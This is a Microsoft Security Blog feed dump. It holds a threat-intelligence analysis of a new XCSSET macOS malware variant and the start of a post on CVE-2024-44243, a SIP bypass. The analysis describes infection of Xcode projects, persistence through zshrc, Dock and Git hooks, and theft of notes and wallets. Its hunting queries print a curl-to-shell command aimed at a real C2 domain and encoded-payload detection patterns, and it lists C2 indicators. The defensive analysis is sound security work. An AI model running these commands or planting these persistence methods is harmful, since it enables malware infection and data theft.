macOS News and Insights | Microsoft Security Blog http://approjects.co.za/?big=en-us/security/blog/tag/macos/ Expert coverage of cybersecurity topics Tue, 11 Mar 2025 13:18:54 +0000 en-US hourly 1 https://wordpress.org/?v=6.7.2 New XCSSET malware adds new obfuscation, persistence techniques to infect Xcode projects http://approjects.co.za/?big=en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/ Tue, 11 Mar 2025 16:00:00 +0000 Microsoft Threat Intelligence has uncovered a new variant of XCSSET, a sophisticated modular macOS malware that infects Xcode projects, in the wild. Its first known variant since 2022, this latest XCSSET malware features enhanced obfuscation methods, updated persistence mechanisms, and new infection strategies. These enhanced features help this malware family steal and exfiltrate files and system and user information, such as digital wallet data and notes, among others.

The post New XCSSET malware adds new obfuscation, persistence techniques to infect Xcode projects appeared first on Microsoft Security Blog.

]]>
Microsoft Threat Intelligence has uncovered a new variant of XCSSET, a sophisticated modular macOS malware that infects Xcode projects, in the wild during routine threat hunting. Its first known variant since 2022, this latest XCSSET malware features enhanced obfuscation methods, updated persistence mechanisms, and new infection strategies. These enhanced features help this malware family steal and exfiltrate files and system and user information, such as digital wallet data and notes, among others.

XCSSET is known for infecting Xcode projects and runs while an Xcode project is being built. Since Xcode is typically used by software developers, we assess that the malware’s mode of infection and propagation leverages on the idea that project files are shared among developers building Apple or macOS-related applications.

While it has resemblances to older XCSSET variants, this new variant is characterized by its modular approach and encoded payloads. It also has improved error handling, and heavily uses scripting languages, UNIX commands, and legitimate binaries. These characteristics allow the malware to have a low profile on an affected device and even remain fileless whenever possible, thus making its detection and removal more challenging.

At the code level, the new XCSSET variant obfuscated its module names, making it difficult to determine the modules’ intent during static analysis. Its enhanced obfuscation techniques extend to its randomized approach for generating payloads to infect Xcode projects and for encoding its payloads. In addition, while older XCSSET variants only used xxd (hexdump) for encoding, the latest one also incorporates Base64. Other notable capabilities of this new variant include its three distinct persistence techniques, which ensure its payload launches whenever a new shell session is initiated or whenever a user is tricked into opening a fake Launchpad application or makes commits in Git, and a new infection method for where the malware places its payload in a target Xcode project. Our analysis also revealed that there are some modules in this new variant’s code that appear to be under development. Its command-and-control (C2) server is also active as of this writing and is downloading additional modules.

In this blog, we discuss how this variant’s different modules work together in achieving the malware’s goals. As part of Microsoft’s commitment to work with the security community to mitigate threats and improve security for all, we have shared these findings with Apple, who acknowledged and thanked us for the information. While we’re only seeing this new XCSSET variant in limited attacks as of this writing, we’re sharing our comprehensive analysis and providing best practices and recommendations more broadly so users and organizations can protect themselves against this threat.

Analyzing the latest XCSSET variant

The new XCSSET variant generally follows a four-stage infection chain, with the fourth-stage payload running various sub-routines. The following sections provide detailed descriptions of each of these modules.

First stage: Xcode shell payload

The payload referenced in this stage gets launched when a user unknowingly builds an infected Xcode project. This obfuscated payload passes through three iterations of a hex decoder and is then piped—or served as input—to shell.

A screenshot of a computer code
Figure 1. Obfuscated first-stage shell payload

The decoded payload simply makes a curl request to a C2 server, https[:]//bulknames[.]ru/a. The response it receives is then piped to shell.

Second stage: Obfuscated shell command

This payload, which was downloaded by the first-stage shell, collects the affected user’s device operating system information, which it then sends to the C2 server along with a default identifier/tag to download an additional payload. It then pipes the downloaded payload to the shell for execution.

A screenshot of a computer code
Figure 2. The second-stage command sent to the C2 server

Third stage: Downloaded shell payload

This stage again involves a shell script that first checks if the device’s version of XProtect, the built-in antivirus in macOS, is less than 5287. This check is done by running the command “xprotect version” and reading the Info.plist file of the XProtect bundle.

A screenshot of a computer code
Figure 3. Third-stage shell script

The script then checks and stops any of the referenced processes in Figure 3 and any running osascript processes. It then calculates the date and searches for a hidden file named .a in the home folder. If it finds the file, it updates the said file; otherwise, it creates a new file with the date and other counters/markers.

The script then deletes any existing references to /tmp/l.app and creates a new one. It then downloads another script from the C2 server and saves it at the location /tmp/b. Next, it creates an AppleScript compiled application using osacompile. This AppleScript payload launches the downloaded /tmp/b script.

The script then uses the plutil command to modify the Info.plist file of the created AppleScript application to enable the LSUIElement key. Enabling this key hides the application from the Dock, effectively making the application more of a background process. Finally, the script runs the application in the background, sleeps for 10 seconds, and removes the created application and the /tmp/b script.

Fourth stage: AppleScript payload (/tmp/b or looz)

The fourth stage involves the execution of the created AppleScript application, which essentially runs a shell command. This command passes a Base64-encoded blob through several iterations of a Base64 decoder to obtain the final script, which is subsequently executed.

A screenshot of a computer code
Figure 4. Base64-encoded fourth-stage AppleScript payload

The decoded script is another AppleScript that first parses the com.apple.launchservices.secure.plist file to determine the default browser for https URLs. It searches for the “https” URL scheme and extracts the corresponding browser’s bundle identifier. The script has explicitly set the variable to “Safari (com.apple.safari)” by default.

The script then fetches the following system information, which it sends to the C2 server as a single string:

  • macOS version
  • Safari version
  • User locale
  • Firewall status
  • System Integrity Protection (SIP) status
  • CPU information

The script also overrides the default log() function so that it can send logs to the C2 server—a capability that can also be seen across the various sub-modules the script launches. The next section provides more information about the sub-modules the script downloads from the C2 server as of this writing.  

The script then checks if the user name is “demo,” possibly to verify if the user account belongs to the threat actor. If the user name checks out, the script processes a specific module, cozfi_xhh, and returns. It also checks the device serial number and exits if the value contains “JV3Q” in it. Next, it calls the boot() function repeatedly with multiple obfuscated module names.

A screenshot of a computer code
Figure 5. The boot() function of the AppleScript payload

The boot() function has multiple filters with predefined logic and handlers for the module names passed in the argument. In case the module name doesn’t pass any filter, a code in the boot() function downloads an AppleScript that is then launched directly to avoid any artifacts on the disk. Depending on the wait flag passed to this function, the newly downloaded AppleScript is run in either background or foreground.

Sub-modules

The sub-modules that the fourth-stage script downloads follow the similar format where a Base64-encoded blob is passed through multiple iterations of a Base64 decoder before being launched directly.

A screenshot of a computer code
Figure 6. Format of the encoded sub-modules

seizecj (Steals system information)

This sub-module exfiltrates system information to the C2 server. The information it retrieves includes:

  • Applications list
  • System applications list
  • User level LaunchAgents list
  • XProtect version
  • Malware Removal Tool (MRT) version

fpzfcieoci (Lists browser extensions)

This sub-module searches for and lists down the various internet browser extensions it finds installed on the affected device. It has a predefined list of search strings that correspond to the folder paths and files of the browsers that it searches for:

A screenshot of a computer code
Figure 7. Browser’s path list

This sub-module processes each path individually to search for specific files and extracts metadata about the browser extensions. For example, for Firefox, it extracts lines containing “extensions.webextensions.ExtensionStorageIDB” from the file prefs.js file. For the other browsers, it searches the manifest.json file and extracts the lines containing either “default_title” or “name”. It then stores the extension list in a log file named /tmp/out.txt and uploads this file to the C2 server.

hxasoxtfd (Downloads an additional module)

This sub-module is a downloader that requests a module name from the C2 server every 120 seconds.

A screenshot of a computer code
Figure 8. doMain() function of the module

If a module name is received from the C2 server, the system proceeds to call the boot() function with the received module name. This function includes filters on the module name, similar to those observed in the parent (fourth-stage) payload. In case the filters don’t pass, this sub-module proceeds to download and launch directly the payload received from the C2, again to avoid any artifacts on the disk.

txzx_vostfdi (Steals digital wallet data from browsers)

This sub-module first sends a request to retrieve a path list from the C2 server. The following screenshot is an example of a path list received from the C2:

A screenshot of a computer code
Figure 9. Path list received from C2 server

Based on the specified paths, this sub-module appears to search for many cryptocurrency digital wallet extensions across various browsers and their directories. This information is primarily determined by examining the identifiers, such as the following:

Digital wallet extensionIdentifier
MetaMasknkbihfbeogaeaoehlefnkodbefgpgknn
ejbalbakoplchlghecdalmeeeajnimhm
TokenPocketmfgccjchihfkkindfppnaooecgfneiii
TronLinkibnejdfjmmkpcnlpebklmnkoeoihofec 
BNB Chain Walletfhbohimaelbohpjbbldcngcnapndodjp
Phantom Walletbfnaelmomeimhlpmgjnjophhpkkoljpa

This sub-module archives the collected data, which it then sends back to the C2 server.

hfdieiz (Establishes persistence)

This sub-module establishes persistence through two different methods, zshrc and Dock, which will be discussed in the following sections. It first creates a folder named com.apple.finder in the ~/Library/Caches/ directory.

This sub-module generates payload by randomly selecting a C2 server from a predefined list and selecting an encoding method, which is either Base64 or xxd. It then chooses the number of iterations required to encode or decode the payload. The final encoded payload is then generated and returned. The argument received in the function is placed as a marker at “p=” in the payload request.

A screenshot of a computer code
Figure 10. Payload generation function of the persistence sub-module

zshrc method

In this persistence method, the sub-module first checks the value of the RESTORE_DEFAULT global variable. If the value is set to “True”, the sub-module deletes the ~/.zshrc_aliases file; otherwise, it retrieves the payload body and saves it to the ~/.zshrc_aliases file. The subsequent payload involves verifying the existence of the .zshrc_aliases file and executing it if it is present. The script then ensures that the ~/.zshrc file exists. It searches for the presence of the string “.zshrc_aliases” within this file and appends the final payload if it is absent. This persistence method guarantees the execution of the payload whenever a new shell session is created.

A screenshot of a computer code
Figure 11. zshrc persistence method

Dock method

In this persistence method, the sub-module first downloads a signed dockutil tool from the C2 server. This tool is mainly used to manage dock items, such as adding, deleting, and updating entries. The sub-module then gets the list of dock items and searches for Launchpad in it. If it finds an entry, it proceeds to call the processItem function, which then creates a fake Launchpad application in the ~/Library/Caches/com.apple.finder folder.

A screenshot of a computer code
Figure 12. Creation of the fake Launchpad application and file URI replacement

The processItem function proceeds to get the corresponding payload application body from getPayloadForApp() function, which then initially verifies whether the passed application name is “Launchpad.” If it is, then the payload body for Launchpad is retrieved using the getPayloadBody() function.

In the getPayloadForApp() function, the final payload is configured to first invoke the legitimate Launchpad application and then launch the generated malicious payload. The final payload body is then returned to the processItem function.

A screenshot of a computer code
Figure 13. Function to create payload for the application

The processItem function also has a logic to update the persisted payload in case it is already found on the device. If the device has no prior infection, the function first compiles an AppleScript payload to an application with the “run-only” flag. This flag could make it challenging to reverse engineer the code and evade static analysis. The function then saves the payload to a file in the parent directory. Next, it checks if the application name is “Launchpad” and, if it is, modifies the Info.plist file’s entries to enable the LSUIElement key and update CDBundleDisplayName. It then downloads InfoPlist.locatable and Launchpad’s icon from the C2 server, replaces the created application’s icon with it, and performs an ad-hoc signing on the application.

Finally, the processItem function uses the dockutil binary to replace the existing Launchpad entry with the fake Launchpad’s application path. It does this by replacing the file URI entry of the legitimate Launchpad application with the fake one. These steps ensure that every time the user starts Launchpad from the dock, the malicious created application is launched, which then runs both the legitimate Launchpad and the generated payload.

cozfi_xhh (Steals notes from the Notes application )

This sub-module steals notes from the affected device’s Notes application through a JavaScript payload.

It initializes a variable named permissionApp to path to /Applications/Reminders.app, where the fake Reminders application is created, and to /Applications/Reminders.app/Notes/, where the stolen notes are saved. It is important to note that the legitimate Reminders application can be found in the /System/Applications directory. The sub-module then removes the Notes folder if it exists inside the fake Reminders application. It also checks for the presence of the fake Reminders application on the device and creates one if it’s not present.

A screenshot of a computer code
Figure 14. Creation of AppleScript-compiled application to launch a malicious JavaScript payload that steals notes

This sub-module creates an AppleScript-compiled application with the flag set to “Run only.” This application’s script launches the /tmp/.n file using osascript. The sub-module then downloads an icon file from the C2 server. Next, it modifies the Info.plist file by updating the CFBundleDisplayName and CFBundleExecutable and enabling the LSUIElement key. Finally, it performs an ad-hoc signing for this newly created application.

After the creation of the application, the sub-module checks the global variable FORCED flag, which is set to “False” by default in the script. If the FORCED flag is set to “True”, the sub-module calls the exec function directly. Otherwise, it first sends a request to the C2 server to obtain a folder list. The code expects to receive “notes_app” in the response. If this application is present, it enters a loop, waiting for the Notes application to start before calling the exec function. The exec function then subsequently calls the runloop function.

The runloop function first sets the payload, which is basically a JavaScript code. Meanwhile, the run() function of the JavaScript payload first checks and connects to the Notes application present in the Systems directory, retrieves all notes, and saves each note’s contents, creation date, and modification date into an HTML file in the Notes folder within the Reminders application created previously.

A screenshot of a computer code
Figure 15. JavaScript payload that steals notes from the affected device

The sub-module saves the JavaScript payload into the /tmp/.n file. It then launches the Reminders application to run the said payload. It checks for the existence of Notes folder and, if absent, retries up to three times by resetting the Transparency, Consent, and Control (TCC) database for AppleEvents before deleting the created Reminders application. If the Notes folder exists, it returns a “200” code. When the sub-module’s parent function receives the said “200” code, it archives the Notes folder within the created fake Reminders application and exfiltrates it to the C2 server.

A screenshot of a computer code
Figure 16. Retry method of resetting TCC database

Modules listed under finderModules list in boot() function

In the boot() function of the fourth-stage AppleScript module, there is a specific handler code for certain modules found under the finderModules list.

A screenshot of a computer code
Figure 17. Handler for modules defined in finderModules list

Figure 17 shows how the fourth-stage payload downloads the module passed to the boot() function into the /tmp/.f file. It then calls the boot() function again with a specific module named vectfd_xhh.

Let’s first look at the common module invoked for each of the other modules on the list.

vectfd_xhh (Launches application for modules)

In this module, the doMain() function checks the existence of either Xcode or Git. If either application is found, several global variables are set with a certain application’s display name, file path, and icon name.

A screenshot of a computer code
Figure 18. Selection of launcher application for creation

If neither application is present, the module defaults to Finder.app. Subsequently, the doInstall() function is called for each case. It should be noted that the legitimate Finder and Terminal applications are located in the /System/Applications/ folder and not in /Applications/.

In the doInstall() function, the existence and version of the fake application in context is first checked. If the fake application isn’t present or is outdated:

  • If the current process in context is Xcode or Finder, the module waits for the corresponding legitimate application to launch first before calling the createLoop() function
  • If the current process in context is Terminal, the module directly calls the createLoop() function

The createLoop() function deletes any prior existence of the application before creating the fake one. The created application is AppleScript-compiled with the flag set to “Run only,” and it executes a script located at /tmp/.i. Similar to the previous fake application-creating modules, the created application’s icon and plist entries are modified, and is ad-hoc signed.

A screenshot of a computer code
Figure 19. Payload of the launcher application that launches the main module to be executed

The module then calls the runAppFile() function. This function first sets a payload where it attempts to get a listing of the user’s directories, possibly to check TCC permissions. If the command succeeds, this function deletes any existing error file (/tmp/.e); otherwise, it creates the file. The payload then launches the /tmp/.f file that was downloaded in the parent (fourth-stage) module.

Next, the runAppFile() function saves the payload it set initially in the /tmp/.i file and launches the created application. This created application in turn launches the /tmp/.i file, which, in turn, also executes the /tmp/.f file.

If the directory listing command isn’t successful, the error file is created. If this error file exists, the function returns code “403”. If the parent function receives this code, it retrieves the CFBundleIdentifier of the created application, resets the TCC database for that bundle ID, and calls the createLoop() function again.

dfhsebxzod (Infects Xcode projects)

This module, which is launched by the launcher module vectfd_xhh, is designed to infect Xcode projects located on the target device. It initially retrieves the user’s home directory and subsequently invokes two distinct functions to search and process files.

A screenshot of a computer code
Figure 20. Searching Xcode projects in a target folder

The first function searches for xcodeproj directories, excluding certain specified directories. The other function downloads a binary, presumed to be a 7-Zip binary, from the C2 server. It then searches the HOME folder, excluding specified directories, for .zip files. When it finds these .zip files, it scans the archive listing for “xcodeproj.” If it finds this entry, the module contains a logic to extract the project files, modify them, and update the archive with the modified files.

For both functions, each directory or file match triggers a subsequent function that searches for a .pbxproj file within the given directory. This new function then randomly selects one of three infection methods: RULE, TARGET, or FORCED_STRATEGY. The infection method determines how the payload will be placed and referenced in the .pbxproj file.

An example infection method that wasn’t mentioned in previously published research is part of FORCED_STRATEGY method. This method includes the use of TARGET_DEVICE_FAMILY variable under Build Settings, which contains the generated payload.

A screenshot of a computer program
Figure 21. FORCED_STRATEGY method of infecting a pbxproj file

Next, it adds a PBXShellScriptBuildPhase in the .pbxproj file where the payload will be present in the shellScript key.

The payload generation was done in a separate function where it first defines three specific domains and randomly selects one from them. It uses either the xxd or Base64 encoding method, also chosen at random.

A screenshot of a computer code
Figure 22. Function to generate a payload that infects a pbxproj file

This method also selects a random value between 2 and 5 to determine the number of iterations for encoding/decoding. The first payload includes an encoded curl request to the specified C2 server, the output of which is piped to the shell for execution. The final payload, which consists of the above encoded data and a decoding string, is also piped to shell for execution.

jez (Establishes persistence through Git commits)

This module attempts to establish persistence by incorporating its payload into the pre-commit hooks within the .git directory of projects located on the device.

A screenshot of a computer code
Figure 23. Infection of hooks/pre-commit file in Git’s directory

It searches for .git folders the in the user’s home directory and sub-directories using the find command. It searches up to six levels of sub-directories and excludes those named Movies, Library, Music, and Pictures. For each .git directory found, this module checks for the presence of the hooks/pre-commit file within those directories. If it finds the file, it removes any existing payload content and appends the newly created payload.

If the module doesn’t find the pre-commit file, it creates the file and writes the payload within it. The process for generating the payload is similar to the zshrc and Dock persistence techniques discussed in the previous sections of this blog. This persistence method ensures the execution of the payload upon each commit action in the project.

File/Data exfiltration modules assessed to be in development

uhsoxtfd_vostfd (Directory uploader)

This module is designed to exfiltrate files from a specified target folder. It appears to be in the development phase as of this writing because the specified target folder is currently set to ~/Desktop/test.

This module first verifies the existence of the target folder and exits if it can’t find the said folder. Otherwise, it lists the folder’s contents to test access permissions. If access is denied, the module runs a recursive loop to reset the TCC database for directories such as Desktop, Downloads, and Documents.

Once folder access is granted, the module archives the folder, excluding certain files such as links, patterns listed in the exclusion list, and files exceeding a specified size. It then uploads the created archive to a C2 server. Once the exfiltration is complete, the module deletes the archive.

fpfb (Directory listing)

This module runs a predefined command and uploads the result of the said command back to the C2 server. Currently, the command is set to “ls -la ~/Desktop”, which lists the files and directories in the user’s Desktop folder.

vectfd (Specific files exfiltration)

This module retrieves files that match the pattern defined in the INAME_QUERY variable within the user’s home directory. Currently, it searches for files with the pattern “*test.txt,” which indicates that the module might be under development. It also excludes files located in certain directories and files that exceed its size restrictions. The module then creates an archive of the files it retrieves, sends the archive to a C2 server, and deletes the archive.

Mitigation and protection guidance

Defenders can take the following mitigation steps to defend against this threat:

  • Run the latest version of your operating systems and applications. Deploy the latest security updates as soon as they become available.
  • Always inspect and verify Xcode projects downloaded or cloned from repositories, as the malware usually spreads through infected projects.
  • Encourage users to use web browsers that support Microsoft Defender SmartScreen like Microsoft Edge—available on macOS and various platforms—which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware.
  • Use Microsoft Defender for Endpoint on Mac, which detects, stops, and quarantines the malware discussed in this blog

Microsoft Defender for Endpoint customers can also apply the following mitigations to reduce the environmental attack surface and mitigate the impact of this threat and its payloads:

  • Turn on cloud-delivered protection and automatic sample submission on Microsoft Defender Antivirus. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.
  • Enable potentially unwanted application (PUA) protection in block mode to automatically quarantine PUAs like adware. PUA blocking takes effect on endpoint clients after the next signature update or computer restart. PUA blocking takes effect on endpoint clients after the next signature update or computer restart.
  • Turn on network protection to block connections to malicious domains and IP addresses.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects this threat as the following malware:

  • Trojan:MacOS/XCSSET.SC
  • Trojan:MacOS/XCSSET.SE
  • Trojan:MacOS/XCSSET.ST

Defender Antivirus detects multiple sub-modules of this threat as the following:

  • Trojan:MacOS/XCCSET.SE
  • Trojan:MacOS/XCCSET.SF
  • Trojan:MacOS/XCCSET.SG
  • Trojan:MacOS/XCCSET.SI
  • Trojan:MacOS/XCCSET.SJ

Defender Antivirus also detects the following specific modules of this threat:

  • Trojan:MacOS/XCCSET.SK – dfhsebxzod
  • Trojan:MacOS/XCCSET.SH – fpzfcieoci
  • Trojan:MacOS/XCCSET.SD – hfdieiz

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alerts can indicate associated threat activity:

  • Possible XCSSET activity

The following alerts might also indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity:

  • Suspicious script launched
  • System information discovery
  • Network connection by osascript
  • Possible content exfiltration
  • Suspicious file or content ingress

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following queries to find related activity in their networks:

Suspicious commands while building an Xcode project

Search for suspicious commands related to this threat when an Xcode project is being built.

DeviceProcessEvents 
| where ProcessCommandLine has_all("echo", "xxd -p -r", "| sh") or ProcessCommandLine has_all("echo", "base64 -d", "| sh")
| where InitiatingProcessFileName has_any ("sh", "bash", "zsh") 
| where InitiatingProcessCommandLine contains "/Developer/Xcode/DerivedData"

Suspicious payload patterns

Search for suspicious payload patterns related to this threat.

DeviceProcessEvents 
| where ProcessCommandLine has_all("echo", "xxd -p -r", "| sh") or ProcessCommandLine has_all("echo", "base64 -d", "| sh") 
| where InitiatingProcessFileName has_any ("sh", "bash", "zsh")

Microsoft Sentinel 

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace. 

Search for command lines making first contact to C2 server or for command lines stopping Xcode, Terminal, or Finder applications:

union DeviceFileEvents, DeviceProcessEvents
  | where Timestamp >= ago(90d)
  | where ProcessCommandLine contains 'curl -fskL -d "https://bulknames.ru/a" | sh >/dev/null 2>&1 &'
  or ProcessCommandLine has "ps aux | grep -E '/Applications/(SimulatorTrampoline|Terminal|Finder).app' | grep -v grep | awk '{print $2}' | xargs kill -9 &/dev/null || true"

Check for communications with network indicators of compromise (IOCs):

let c2cdomains = dynamic(["bulknames.ru","castlenet.ru","chaoping.ru","devapple.ru",
"gigacells.ru","gizmodoc.ru","trixmate.ru","itoyads.ru","rigglejoy.ru","rutornet.ru",
"sigmate.ru","vivatads.ru","figmasol.ru"]);
DeviceNetworkEvents
| where RemoteUrl in (c2cdomains)
| project TimeGenerated, DeviceId, DeviceName, Protocol, LocalIP, LocalIPType, LocalPort,RemoteIP, RemoteIPType, RemotePort, RemoteUrl

Check for infected file or script IOCs:

let selectedTimestamp = datetime(2025-01-01T00:00:00.0000000Z); 
let FileSHA256 = dynamic(["d338dc9a75a14753f57399815b5d996a1c5e65aa4eb203222d8c85fb3d74b02f","56670f51f94080f1ae45f2a433767f210f290835bf582e1a2e1876f1028832de",” f67e2a27f0d1a4667b065ab05f884ff881eb7627e9d458f97f2204647b339c6e”
"","25d226d5cb0c74ed5b1b85f12d53a4c2de2147ff464b2a35db03987015b11e24",
"c2a7970216576a6b8f74528ffcfa51aa2b72b7f3e4237d97715b1b5ba80b25ca","8cec3c106659709017bb253becf68296c7bf13e76fa92b4450c281003d225645",
"ea90c72e67f1c9a9231732119576a7dcb29471f7da428866187d4326e78097f2","ff83f53a383ba3f1d6b002006adf16a7f0b3263185d56cb70104889874d67c5d","cc37a01d3351b3c166f04aec6f52849e909b0b9c8d55095d730c660691b1ba66"]); 
search in (AlertEvidence,BehaviorEntities,CommonSecurityLog,DeviceBaselineComplianceProfiles,DeviceEvents,DeviceFileEvents,DeviceImageLoadEvents, 
DeviceLogonEvents,DeviceNetworkEvents,DeviceProcessEvents,DeviceRegistryEvents,DeviceFileCertificateInfo,DynamicEventCollection,EmailAttachmentInfo,OfficeActivity,SecurityEvent,ThreatIntelligenceIndicator) 
TimeGenerated between ((selectedTimestamp - 1m) .. (selectedTimestamp + 90d)) // from January 1st runs the search for 90 days, change the selectedTimestamp above or 90d accordingly. 
and  
(SHA256 in (FileSHA256) or InitiatingProcessSHA256 in (FileSHA256))

Indicators of compromise

IndicatorTypeDescription
bulknames[.]ruDomainC2 server
castlenet[.]ruDomainC2 server
chaoping[.]ruDomainC2 server
devapple[.]ruDomainC2 server
gigacells[.]ruDomainC2 server
gizmodoc[.]ruDomainC2 server
trixmate[.]ruDomainC2 server
itoyads[.]ruDomainC2 server
rigglejoy[.]ruDomainC2 server
rutornet[.]ruDomainC2 server
sigmate[.]ruDomainC2 server
vivatads[.]ruDomainC2 server
figmasol[.]ruDomainC2 server
~/Library/Caches/com.apple.finderFile pathA fake Launchpad application is created in this directory
/Applications/SimulatorTrampoline.appFile pathLauncher application that runs additional modules found under the finderModules list
/Applications/Reminders.appFile pathFake Reminders application
/Applications/Reminders.app/Notes/File pathDirectory where the malware stores the stolen notes from the Notes application
/Applications/Terminal.appFile pathLauncher application that runs additional modules found under the finderModules list
/Applications/Finder.appFIle pathLauncher application that runs additional modules found under the finderModules list
d338dc9a75a14753f57399815b5d996a1c5e65aa4eb203222d8c85fb3d74b02fSHA-256tmp/b or looz (fourth-stage payload)
56670f51f94080f1ae45f2a433767f210f290835bf582e1a2e1876f1028832deSHA-256/tmp/.n (JavaScript payload)
f67e2a27f0d1a4667b065ab05f884ff881eb7627e9d458f97f2204647b339c6eSHA-256dfhsebxzod module (infects Xcode projects)  
25d226d5cb0c74ed5b1b85f12d53a4c2de2147ff464b2a35db03987015b11e24SHA-256jez module (establishes persistence through Git commits)
c2a7970216576a6b8f74528ffcfa51aa2b72b7f3e4237d97715b1b5ba80b25caSHA-256uhsoxtfd_vostfd module (directory uploader)
8cec3c106659709017bb253becf68296c7bf13e76fa92b4450c281003d225645SHA-256fpfb module (directory listing)
ea90c72e67f1c9a9231732119576a7dcb29471f7da428866187d4326e78097f2SHA-256vectfd module (specific files exfiltration)
ff83f53a383ba3f1d6b002006adf16a7f0b3263185d56cb70104889874d67c5dSHA-256p (Dock persistence payload)
cc37a01d3351b3c166f04aec6f52849e909b0b9c8d55095d730c660691b1ba66SHA-256.zshrc_aliases file

MITRE ATT&CK techniques observed

Technique IDTechnique name
T1195.001Supply Chain Compromise: Compromise Software Dependencies and Development Tools
T1059.002Command and Scripting Interpreter: AppleScript
T1059.007Command and Scripting Interpreter: JavaScript
T1059.004Command and Scripting Interpreter: Unix Shell
T1546.004Event Triggered Execution: Unix Shell Configuration Modification
T1560Archive Collected Data
T1005Data from Local System
T1041Exfiltration Over C2 Channel
T1083File and Directory Discovery
T1222.002File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification
T1564.001Hide Artifacts: Hidden Files and Directories
T1105Ingress Tool Transfer
T1036.005Masquerading: Match Legitimate Name or Location
T1647Plist File Modification
T1518Software Discovery
T1082System Information Discovery
T1614.001System Location Discovery: System Language Discovery
T1548.006Abuse Elevation Control Mechanism: TCC Manipulation
T1140Deobfuscate/Decode Files or Information
T1564.003Hide Artifacts: Hidden Window
T1070.004Indicator Removal: File Deletion
T1027.004Obfuscated Files or Information: Compile After Delivery
T1027.013Obfuscated Files or Information: Encrypted/Encoded File
T1217Browser Information Discovery
T1518.001Software Discovery: Security Software Discovery
T1033System Owner/User Discovery

References

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://x.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post New XCSSET malware adds new obfuscation, persistence techniques to infect Xcode projects appeared first on Microsoft Security Blog.

]]>
Analyzing CVE-2024-44243, a macOS System Integrity Protection bypass through kernel extensions http://approjects.co.za/?big=en-us/security/blog/2025/01/13/analyzing-cve-2024-44243-a-macos-system-integrity-protection-bypass-through-kernel-extensions/ Mon, 13 Jan 2025 17:00:00 +0000 Microsoft discovered a macOS vulnerability allowing attackers to bypass System Integrity Protection (SIP) by loading third party kernel extensions, which could lead to serious consequences, such as allowing attackers to install rootkits, create persistent malware, bypass Transparency, Consent, and Control (TCC), and expand the attack surface to perform other unauthorized operations.

The post Analyzing CVE-2024-44243, a macOS System Integrity Protection bypass through kernel extensions appeared first on Microsoft Security Blog.

]]>
Microsoft Threat Intelligence discovered a new macOS vulnerability that could allow attackers to bypass Apple’s System Integrity Protection (SIP) in macOS by loading third party kernel extensions. SIP is a security technology that restricts the performance of operations that may compromise system integrity; thus, a SIP bypass affects the overall security of the operating system. Bypassing SIP could lead to serious consequences, such as increasing the potential for attackers and malware authors to successfully install rootkits, create persistent malware, bypass Transparency, Consent and Control (TCC), and expand the attack surface for additional techniques and exploits.

We shared these findings with Apple through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR). A fix for this vulnerability, now identified as CVE-2024-44243, was included in the security updates released by Apple on December 11, 2024. The findings were discovered in parallel between Microsoft and Mickey Jin, who also responsibly reported the vulnerability to Apple. Users should ensure their systems are up to date. We thank the Apple security team for their collaboration and efforts in fixing this issue.

In many cases, special entitlements are leveraged to bypass security mechanisms like SIP, making it essential to monitor specially entitled processes for anomalous behavior. This need for proactive monitoring is only further emphasized when a specially entitled process invokes kernel extensions from third party organizations without proper validation or reduced privileges, which an attacker could exploit to install a kernel driver (rootkit) in a way that could evade detection by security solutions. Following our previous SIP bypass blog posts (Shrootless, Migraine), our team set up mechanisms to proactively alert on potentially attacker-controlled child processes of special entitled processes, which enabled Microsoft Defender and our researcher team to ultimately identify CVE-2024-44243.

In this blog post, we detail the connection between entitlements and SIP and explain how CVE-2024-44243 could be used to bypass SIP security measures. This research also highlights some of the benefits and challenges of kernel-based monitoring. Prohibiting third party code to run in the kernel can increase macOS reliability, the tradeoff being that it reduces monitoring capabilities for security solutions. If SIP is bypassed, the entire operating system can no longer be considered reliable, and with reduced monitoring visibility, threat actors can tamper with any security solutions on the device to evade detection. As such, this research is being presented to the broader security community to underline the critical role of responsible disclosure and collaborative efforts in securing devices across platforms.

Understanding SIP and entitled processes

As previously covered in our previous SIP bypass blogposts (Shrootless, Migraine), SIP (also known as “rootless”) is a macOS mechanism that enforces several operating system protections against the root user, including the ability to:

  • Load arbitrary kernel drivers
  • Change non-volatile random-access memory (NVARM) variables
  • Get task ports for Apple-signed processes
  • Allow kernel debugging
  • Modify sensitive files that are a part of the operating system

One interesting fact about SIP is that bypassing just one of those restrictions is likely to lead to bypasses of all other SIP restrictions – for example:

  • SIP policy is controlled by NVRAM variables, so modifying NVRAM variables bypasses SIP.
  • Kernel code execution (either through kernel extensions or debugging) can change SIP since it is enforced at the kernel level.
  • Modifying sensitive files on the file system can bypass SIP, for instance, by modifying the list of allowed kernel extensions and then loading that kernel extension.

